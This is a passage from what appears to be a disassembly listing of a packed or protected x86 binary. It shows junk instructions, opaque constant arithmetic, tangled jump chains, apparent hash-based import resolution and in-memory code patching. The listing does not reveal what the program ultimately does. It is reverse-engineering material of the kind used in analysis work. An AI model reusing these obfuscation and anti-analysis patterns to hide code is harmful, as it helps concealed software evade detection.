		xor	eax, 0B17C25A4h


loc_74A035:				; CODE XREF: sub_75364C:loc_747166j
		push	offset sub_748DB7
		jmp	loc_74AF75
; END OF FUNCTION CHUNK	FOR sub_7509E0
; ---------------------------------------------------------------------------
		popf
		jmp	sub_74698F

; =============== S U B	R O U T	I N E =======================================



sub_74A045	proc near		; CODE XREF: _0z4jwtox:0074D477j
					; sub_74FEAF+12C2p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		jmp	sub_746E93
sub_74A045	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74A051	proc near		; CODE XREF: sub_75043C:loc_7521CFp
					; _0z4jwtox:00754AD9j
		xchg	eax, [esp+0]
		pop	eax
		mov	eax, ebx
		pop	ecx
		pop	ebx
		retn
sub_74A051	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_74A05A:				; CODE XREF: sub_74C2C9-3CDCj
					; sub_74C2C9:loc_74FF99j
		mov	eax, dword ptr ds:loc_74F377+1
		mov	al, [eax]
		jmp	loc_746E17
; END OF FUNCTION CHUNK	FOR sub_74C2C9

; =============== S U B	R O U T	I N E =======================================



sub_74A066	proc near		; CODE XREF: sub_74FE55-546Ep
					; sub_747290+F9F1j
		xchg	eax, [esp+0]
		pop	eax
		popf
		push	offset sub_74ED83
		jmp	nullsub_42
sub_74A066	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		jmp	sub_74FE55

; =============== S U B	R O U T	I N E =======================================



sub_74A07B	proc near		; CODE XREF: sub_74CBB7:loc_7452B8p
					; _0z4jwtox:007505C6j
		xchg	edx, [esp+0]
		pop	edx
		add	eax, 44CE12AFh
		call	sub_74A47B


loc_74A08A:				; CODE XREF: sub_75100C-3098j
		jmp	sub_754A3D
sub_74A07B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74A08F:				; CODE XREF: sub_747290+4EBBj
		jmp	loc_74D1D7
; END OF FUNCTION CHUNK	FOR sub_747290

; =============== S U B	R O U T	I N E =======================================



sub_74A094	proc near		; CODE XREF: sub_7501AF-A958p
					; _0z4jwtox:0074B380j

; FUNCTION CHUNK AT 0074E4CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E7CB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00751F10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752D0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00754D40 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_754D40
sub_74A094	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74A0A3:				; CODE XREF: sub_7501AF-EF0j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_74B3B8
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------


loc_74A0AB:				; DATA XREF: sub_74A4B0-836o
		mov	byte ptr [eax],	0C3h
		jmp	sub_75676B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_74A0B3:				; CODE XREF: sub_74A4B0+5j
		mov	eax, [esp+0]
		push	ebp
		push	edx
		jmp	loc_7545C1
; END OF FUNCTION CHUNK	FOR sub_74A4B0

; =============== S U B	R O U T	I N E =======================================



sub_74A0BD	proc near		; CODE XREF: _0z4jwtox:007533EAp
					; _0z4jwtox:00754A5Bj

; FUNCTION CHUNK AT 0074CF68 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074E841 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 8EA1774h
		mov	[ecx], eax
		jmp	loc_74CF68
sub_74A0BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41F06C
; ---------------------------------------------------------------------------


loc_74A0D4:				; CODE XREF: _0z4jwtox:00753EE3j
		jmp	loc_74CD1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749FD7


loc_74A0D9:				; CODE XREF: sub_749FD7+7j
		jmp	sub_74CF82
; END OF FUNCTION CHUNK	FOR sub_749FD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74A0DE:				; CODE XREF: sub_74D23E+2D36j
					; sub_747109:loc_753111j ...
		jnb	loc_756866
		pop	edx
		mov	eax, [esp+4+var_4]
		push	ebx
		mov	ebx, edx
		jmp	loc_750C5C
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_74A0F0:				; CODE XREF: sub_750638+3DCFj
		jnz	loc_755314
		jmp	loc_755F3D
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3EB


loc_74A0FB:				; CODE XREF: sub_74C3EB+AB82j
		pushf
		jmp	loc_745532
; END OF FUNCTION CHUNK	FOR sub_74C3EB
; ---------------------------------------------------------------------------
		jnz	loc_7560C9
		jmp	loc_74C4B9
; ---------------------------------------------------------------------------


loc_74A10C:				; DATA XREF: _0z4jwtox:007461E2o
		mov	eax, [esp]
		push	edx
		push	esi
		push	0A7BD633Dh
		jmp	loc_74A14D
; ---------------------------------------------------------------------------


loc_74A11B:				; CODE XREF: _0z4jwtox:00750347j
		pop	eax
		rol	eax, 0Fh
		add	eax, 0F2547924h
		xchg	eax, [esp]
		jmp	loc_745353
; ---------------------------------------------------------------------------
		mov	eax, 0D504D785h
		call	sub_746E93
		mov	ds:dword_41F128, eax
		jmp	loc_754BBE
; ---------------------------------------------------------------------------
		jo	loc_7484A2
		jmp	loc_756A7B
; ---------------------------------------------------------------------------


loc_74A14D:				; CODE XREF: _0z4jwtox:0074A116j
		pop	esi
		xor	esi, 0C0CD42BCh
		add	esi, 0A0F7D48Fh
		rol	esi, 14h
		add	esi, 9F746B11h
		xchg	esi, [esp]
		jmp	loc_74B709
; ---------------------------------------------------------------------------


loc_74A16B:				; DATA XREF: sub_7490F6+7B97o
		add	eax, ebp
		add	eax, 0BFC09059h
		push	offset sub_75216C
		jmp	loc_74BD48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_74A17D:				; CODE XREF: sub_750291-441Aj
		push	33E8087h
		pop	eax
		rol	eax, 10h
		cmp	eax, 0EACF39CDh
		jmp	loc_74C407
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------


loc_74A191:				; CODE XREF: _0z4jwtox:0075347Dj
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		call	sub_74FACE
		mov	eax, 0CE6B079Ah
		push	esi
		jmp	loc_754D57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74A1AA:				; CODE XREF: sub_746640+EBDDj
		mov	ebx, eax
		xchg	ebx, [esp+0]
		mov	eax, [ebp-1Ch]
		shl	eax, 2
		cdq
		add	eax, [esp+0]
		jmp	loc_755E1D
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_74A1BE	proc near		; DATA XREF: sub_747A67:loc_753140o

; FUNCTION CHUNK AT 0074FFD0 SIZE 00000008 BYTES

		add	esi, 492C4DD0h
		mov	[esi], eax
		pop	esi
		lea	eax, loc_75078A
		jmp	loc_74FFD0
sub_74A1BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752737


loc_74A1D2:				; CODE XREF: sub_752737+Cj
		jnz	loc_746B4D
		jmp	loc_7575A7
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_74A1DD:				; CODE XREF: sub_74ECEF:loc_75235Fj
		jnz	loc_74E78D
		or	ecx, 0B52C83AEh
		sbb	edx, 2F97C0CEh
		rol	edi, 1Ch
		mov	ebx, 0BD1E2D9Ah
		jmp	loc_74E78A
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749161


loc_74A1FC:				; CODE XREF: sub_749161:loc_75574Ej
		call	sub_75364C
		mov	eax, 4A031E23h
		call	sub_746E93
		push	edi
		xor	edi, 62100F72h
		jmp	loc_75150D
; END OF FUNCTION CHUNK	FOR sub_749161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AC6D


loc_74A217:				; CODE XREF: sub_74AC6D+2EAj
		pop	ebp
		add	eax, 0A605F61Ch
		rol	eax, 0Ah
		or	eax, 57F8A40Bh
		push	offset sub_74BD89
		jmp	nullsub_46
; END OF FUNCTION CHUNK	FOR sub_74AC6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_74A231:				; CODE XREF: sub_7457DD+Aj
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_750C69
		jmp	loc_74BA24
; END OF FUNCTION CHUNK	FOR sub_7457DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74A242:				; CODE XREF: sub_74D23E+38FBj
		pop	ebp
		test	ecx, edx
		jmp	loc_74FF5D
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------


loc_74A24A:				; CODE XREF: _0z4jwtox:007533F1j
		jp	loc_75274F

; =============== S U B	R O U T	I N E =======================================



sub_74A250	proc near		; CODE XREF: sub_74C733-5992p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074544D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752933 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00754895 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		mov	eax, edx
		jmp	loc_752933
sub_74A250	endp


; =============== S U B	R O U T	I N E =======================================



sub_74A25C	proc near		; DATA XREF: sub_747A67+4F51o

; FUNCTION CHUNK AT 00745084 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074E65C SIZE 00000005 BYTES

		push	edx
		nop
		mov	eax, 6FDE1A91h
		call	sub_746E93
		mov	ds:off_41F17C, eax
		lea	eax, sub_747A67
		jmp	loc_745084
sub_74A25C	endp


; =============== S U B	R O U T	I N E =======================================



sub_74A279	proc near		; CODE XREF: sub_7514BF:loc_75144Fp
					; _0z4jwtox:00754355j
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_74A279	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754E36


loc_74A284:				; CODE XREF: sub_754E36:loc_754E3Cj
		jmp	loc_74B9C0
; END OF FUNCTION CHUNK	FOR sub_754E36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749184


loc_74A289:				; CODE XREF: sub_749184+11j
		jmp	loc_746DAC
; END OF FUNCTION CHUNK	FOR sub_749184
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745FE5


loc_74A28E:				; CODE XREF: sub_745FE5+Dj
		jmp	loc_74F00B
; END OF FUNCTION CHUNK	FOR sub_745FE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748498


loc_74A293:				; CODE XREF: sub_748498+17j
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_748498
; ---------------------------------------------------------------------------
		xor	ebp, edx
		jmp	sub_74F615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_74A2A2:				; CODE XREF: sub_748B52:loc_7494ECj
					; sub_748B52+DB66j
		push	19F4D51Ah
		pop	eax
		sub	eax, 751D40C3h
		or	eax, 11D3A7A4h
		and	eax, 0CA7F697Bh
		jmp	loc_74583E
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A4A


loc_74A2BF:				; CODE XREF: sub_747A4A+Dj
		xor	ebx, 0CC026ACh
		or	ebx, 2714E2CEh
		add	ebx, 81205F51h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_74DAAF
; END OF FUNCTION CHUNK	FOR sub_747A4A

; =============== S U B	R O U T	I N E =======================================



sub_74A2D9	proc near		; DATA XREF: sub_7571A1:loc_74A833o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007550F8 SIZE 00000006 BYTES

		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		mov	[ebp-4], eax


loc_74A2E7:				; CODE XREF: sub_746F7A+18j
					; sub_7465D2:loc_74B941j ...
		mov	eax, [ebp-4]
		pop	ecx
		xchg	eax, [esp+4+var_4]
		jmp	loc_7550F8
sub_74A2D9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74A2F4:				; CODE XREF: _0z4jwtox:00747902j
		jmp	loc_74ADD2
; ---------------------------------------------------------------------------


loc_74A2F9:				; DATA XREF: sub_749BBA-32FBo
		cmp	byte ptr [eax],	0F1h
		jnz	loc_746C22
		jmp	loc_7549AD
; ---------------------------------------------------------------------------
		or	esi, 4C4D4F9Fh
		jmp	sub_74DFF3
; ---------------------------------------------------------------------------


loc_74A312:				; DATA XREF: sub_7473E6:loc_747AFEo
		push	0DC657EA2h
		pop	eax
		sub	eax, 0A966F243h
		xor	eax, 91E56A0Bh
		or	eax, 0BC79D4C2h
		add	eax, 0C10A0BB4h
		jmp	loc_7511B7
; ---------------------------------------------------------------------------
		test	esi, ebx
		jmp	loc_75642F
; ---------------------------------------------------------------------------


loc_74A33C:				; CODE XREF: _0z4jwtox:00748597j
		mov	eax, [esp]
		push	edi
		call	sub_746BE0


loc_74A345:				; CODE XREF: _0z4jwtox:00751533j
		jmp	loc_750766
; ---------------------------------------------------------------------------


loc_74A34A:				; CODE XREF: _0z4jwtox:00745D97j
		xchg	esi, [esp]
		jmp	loc_74E9F0
; ---------------------------------------------------------------------------
		jz	loc_75150D
		jmp	sub_754CBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74A35D:				; CODE XREF: sub_7541BA+DFCj
		cmp	ecx, edi
		jmp	loc_74E927
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
		shl	esi, 7
		jl	loc_747677
		jmp	sub_754949

; =============== S U B	R O U T	I N E =======================================



sub_74A372	proc near		; CODE XREF: _0z4jwtox:007459A5j
					; sub_74DAAF+131Ep

; FUNCTION CHUNK AT 00747472 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750D5C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00754B7C SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-4], eax
		call	sub_748B44


loc_74A37E:				; CODE XREF: sub_7461EF+8j
		jmp	loc_754B7C
sub_74A372	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_74A383:				; CODE XREF: sub_74BD6F+ED0j
		jge	loc_748431
		ror	ecx, 0Ah
		jmp	loc_74842E
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75609F


loc_74A391:				; CODE XREF: sub_75609F-7B16j
		mov	edx, edi
		jmp	loc_74CD72
; END OF FUNCTION CHUNK	FOR sub_75609F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_74A398:				; CODE XREF: sub_7572F3-1812j
		jnz	loc_750BB1
; END OF FUNCTION CHUNK	FOR sub_7572F3
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_74A39E:				; CODE XREF: sub_7452F3+5F8j
					; sub_74E685:loc_74603Ej ...
		jmp	loc_745F3A
; ---------------------------------------------------------------------------


loc_74A3A3:				; CODE XREF: sub_74E685-810Bj
					; sub_7452F3+A159j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------


loc_74A3A6:				; CODE XREF: _0z4jwtox:007551F1j
		jmp	loc_74BCEC

; =============== S U B	R O U T	I N E =======================================



sub_74A3AB	proc near		; CODE XREF: sub_7514AC:loc_749DE7j
					; sub_754C68-93F8p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00747A13 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074964B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00749A0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BFC7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074C7B7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074E51F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00753009 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075489D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 007560E3 SIZE 0000001A BYTES

		push	ecx
		jmp	loc_7560E3
sub_74A3AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74A3B1:				; CODE XREF: sub_74FE55-3CB1j
		jl	loc_74C086
		jz	loc_74E2E9
		xchg	ebx, edi
		jle	loc_752C3F
		sub	edx, 33B08B98h
		jmp	loc_750861
; ---------------------------------------------------------------------------


loc_74A3D0:				; CODE XREF: sub_74FE55+5CB7j
		sub	al, 99h
		jmp	loc_7490AA
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_74A3D7:				; CODE XREF: sub_757151-BDB0j
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_748AF3
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74A3E0:				; CODE XREF: sub_74CBCF+12j
		jz	loc_74B46B
		jmp	loc_752755
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7468F2


loc_74A3EB:				; CODE XREF: sub_7468F2:loc_74C281j
		add	[ebp-0Ah], al
		xor	eax, eax
		call	sub_754C3F


loc_74A3F5:				; CODE XREF: sub_752969+Dj
		jmp	loc_74965F
; END OF FUNCTION CHUNK	FOR sub_7468F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_74A3FA:				; CODE XREF: sub_74F15D+Ej
		push	edx
		call	sub_74721B
		mov	eax, 350D36C3h
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp+8+var_8]
		push	43D7C2B0h
		pop	ebx
		jmp	loc_74991A
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753116


loc_74A416:				; CODE XREF: sub_753116+1j
		push	0
		call	sub_75143A
		push	eax
		push	eax
		push	0A1A61118h
		pop	eax
		rol	eax, 8
		xor	eax, 50DD5FF4h
		jmp	loc_751097
; END OF FUNCTION CHUNK	FOR sub_753116
; ---------------------------------------------------------------------------
		xor	edx, edi
		xchg	eax, ecx
		jmp	sub_74CBE6
; ---------------------------------------------------------------------------


loc_74A43C:				; DATA XREF: sub_755892:loc_74B1B5o
		add	dword ptr [ebp-8], 2
		jmp	loc_7558A2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74A445	proc near		; CODE XREF: sub_745FE5+4p
					; sub_7539AE+7p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_74CBE6


loc_74A456:				; CODE XREF: sub_753538+251Dj
		jmp	sub_7562D5
sub_74A445	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_74A45B:				; CODE XREF: sub_748C3B+Bj
		jmp	loc_74D43B
; END OF FUNCTION CHUNK	FOR sub_748C3B
; ---------------------------------------------------------------------------
		cdq
		cmp	eax, 124DE8FCh
		jmp	loc_74BAC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754B1B


loc_74A46C:				; CODE XREF: sub_754B1B:loc_748DADj
		call	sub_752B45
; END OF FUNCTION CHUNK	FOR sub_754B1B
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_74A471:				; CODE XREF: sub_754C68+15j
		jmp	loc_74B84E
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74A476:				; CODE XREF: sub_747C22+60C8j
		jmp	loc_747176
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_74A47B	proc near		; CODE XREF: _0z4jwtox:00747BB8j
					; sub_74A07B+Ap

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00749F9A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0075068A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00752029 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007574FC SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ebx
		pushf
		push	0ED8A1EFEh
		xchg	eax, [esp+0]
		jmp	loc_7574FC
sub_74A47B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74A48E:				; CODE XREF: sub_7543C5-C5C6j
		jge	loc_74FE71


loc_74A494:				; CODE XREF: sub_74CA1D-5095j
		jmp	loc_750161
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
		sbb	ebp, 90F820C2h
		sbb	edi, 0D1CFD864h
		jmp	loc_74FE70
; ---------------------------------------------------------------------------


loc_74A4AA:				; CODE XREF: _0z4jwtox:0074E16Bj
		jns	loc_7497D6

; =============== S U B	R O U T	I N E =======================================



sub_74A4B0	proc near		; CODE XREF: sub_75676Bp

; FUNCTION CHUNK AT 0074510B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00749C74 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074A0B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074C569 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0075014D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00750357 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007545C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756491 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	edx
		jnz	loc_74A0B3
		mov	eax, [esp+0]
		jmp	loc_74C569
sub_74A4B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74A4C3:				; CODE XREF: _0z4jwtox:00745072j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747546


loc_74A4C4:				; CODE XREF: sub_747546+16j
		jmp	loc_754800
; END OF FUNCTION CHUNK	FOR sub_747546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570CA


loc_74A4C9:				; CODE XREF: sub_7570CA:loc_74B9E5j
					; _0z4jwtox:0074B9FDj
		or	eax, 9190C49Dh
		rol	eax, 0Ah
		jb	loc_74D714


loc_74A4D8:				; CODE XREF: sub_749487+18j
		jmp	loc_7458A6
; END OF FUNCTION CHUNK	FOR sub_7570CA
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_74D70E
; ---------------------------------------------------------------------------


loc_74A4E3:				; DATA XREF: sub_7578F4-F4A9o
		jnz	loc_74AFE2
		jmp	loc_746908
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751078


loc_74A4EE:				; CODE XREF: sub_751078+9j
		rol	eax, 0Ch
		push	eax
		call	sub_746CF0
		retn
; END OF FUNCTION CHUNK	FOR sub_751078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74A4F8:				; CODE XREF: sub_7543C5-FA1j
		jmp	loc_7567E8
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74A4FD:				; CODE XREF: _0z4jwtox:00752B1Fj
		jmp	loc_750E67
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7574E3


loc_74A503:				; CODE XREF: sub_7574E3+7j
		jmp	loc_74BC43
; END OF FUNCTION CHUNK	FOR sub_7574E3
; ---------------------------------------------------------------------------


loc_74A508:				; CODE XREF: _0z4jwtox:0074D3FDj
		jmp	loc_75344B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74A50D:				; CODE XREF: sub_7561AB-BC96j
		jmp	loc_753F6A
; ---------------------------------------------------------------------------


loc_74A512:				; CODE XREF: sub_7561AB-10BFFj
		mov	eax, [ebp-24h]
		jmp	loc_74A50D
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74A51A:				; CODE XREF: sub_747C22+EE54j
		and	eax, 0CA11B8ABh
		sub	eax, 84AD8552h
		add	eax, 90CB49BFh
		push	offset sub_75582A
		jmp	nullsub_210
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		mov	ds:off_41F0F4, eax
		lea	eax, sub_7571A1
		mov	byte ptr [eax],	0C3h
		jmp	loc_748BF6

; =============== S U B	R O U T	I N E =======================================



sub_74A54A	proc near		; CODE XREF: sub_4093C1+24p
					; .text:0041292Bp ...

; FUNCTION CHUNK AT 0074D4AF SIZE 00000005 BYTES

		push	offset loc_750FFC
		jmp	loc_74D4AF
sub_74A54A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_74A554:				; CODE XREF: sub_75043C:loc_753004j
		pop	esi
		or	esi, 4804C04h
		test	esi, 4000h
		jmp	loc_755230
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C39


loc_74A566:				; CODE XREF: sub_752C39:loc_752C3Fj
		pop	esi
		and	esi, 2DC6917Ch
		add	esi, 3C206566h
		xor	esi, 9BF9A126h
		and	esi, 0B5F46087h
		add	esi, 7BA49D15h
		jmp	loc_751038
; END OF FUNCTION CHUNK	FOR sub_752C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7497F9


loc_74A58A:				; CODE XREF: sub_7497F9:loc_75496Aj
		cmp	eax, ds:dword_751620
		jz	loc_7488E0
; END OF FUNCTION CHUNK	FOR sub_7497F9
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_74A596:				; CODE XREF: sub_747379:loc_7468DBj
					; sub_749B76-24DEj
		jb	loc_74D0AF
		mov	eax, [ebp-4]
		call	sub_74F226
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_7488E0
		jmp	loc_7552C5
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_74A5B6:				; CODE XREF: sub_748DCB:loc_74CDCDj
		rol	ecx, 11h
		cmp	ecx, 3CE5C09Ah
		jmp	loc_756C39
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_74A5C4:				; CODE XREF: sub_74F08D+19j
		add	esi, 2892015Ah
		xchg	esi, [esp+0]
		jmp	loc_748C8C
; END OF FUNCTION CHUNK	FOR sub_74F08D

; =============== S U B	R O U T	I N E =======================================



sub_74A5D2	proc near		; DATA XREF: sub_747736+1DC9o
		xchg	edi, [esp+0]
		mov	ebp, edi
		pop	edi
		retn
sub_74A5D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_74A5D9:				; CODE XREF: sub_74F73B-3FCBj
		jmp	loc_75783B
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74A5DE:				; CODE XREF: sub_74FE55-8734j
		jmp	loc_74EF56
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74549C


loc_74A5E3:				; CODE XREF: sub_74549C+8j
		jmp	sub_750243
; END OF FUNCTION CHUNK	FOR sub_74549C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74A5E8	proc near		; CODE XREF: sub_746145:loc_74614Dp
					; _0z4jwtox:0074F63Ap ...

; FUNCTION CHUNK AT 0074F35F SIZE 0000001E BYTES

		push	ebp
		mov	ebp, esp


loc_74A5EB:				; CODE XREF: _0z4jwtox:loc_750CCFj
		push	ecx
		jmp	loc_74F35F
sub_74A5E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746389


loc_74A5F1:				; CODE XREF: sub_746389:loc_746F70j
		call	sub_74E58E
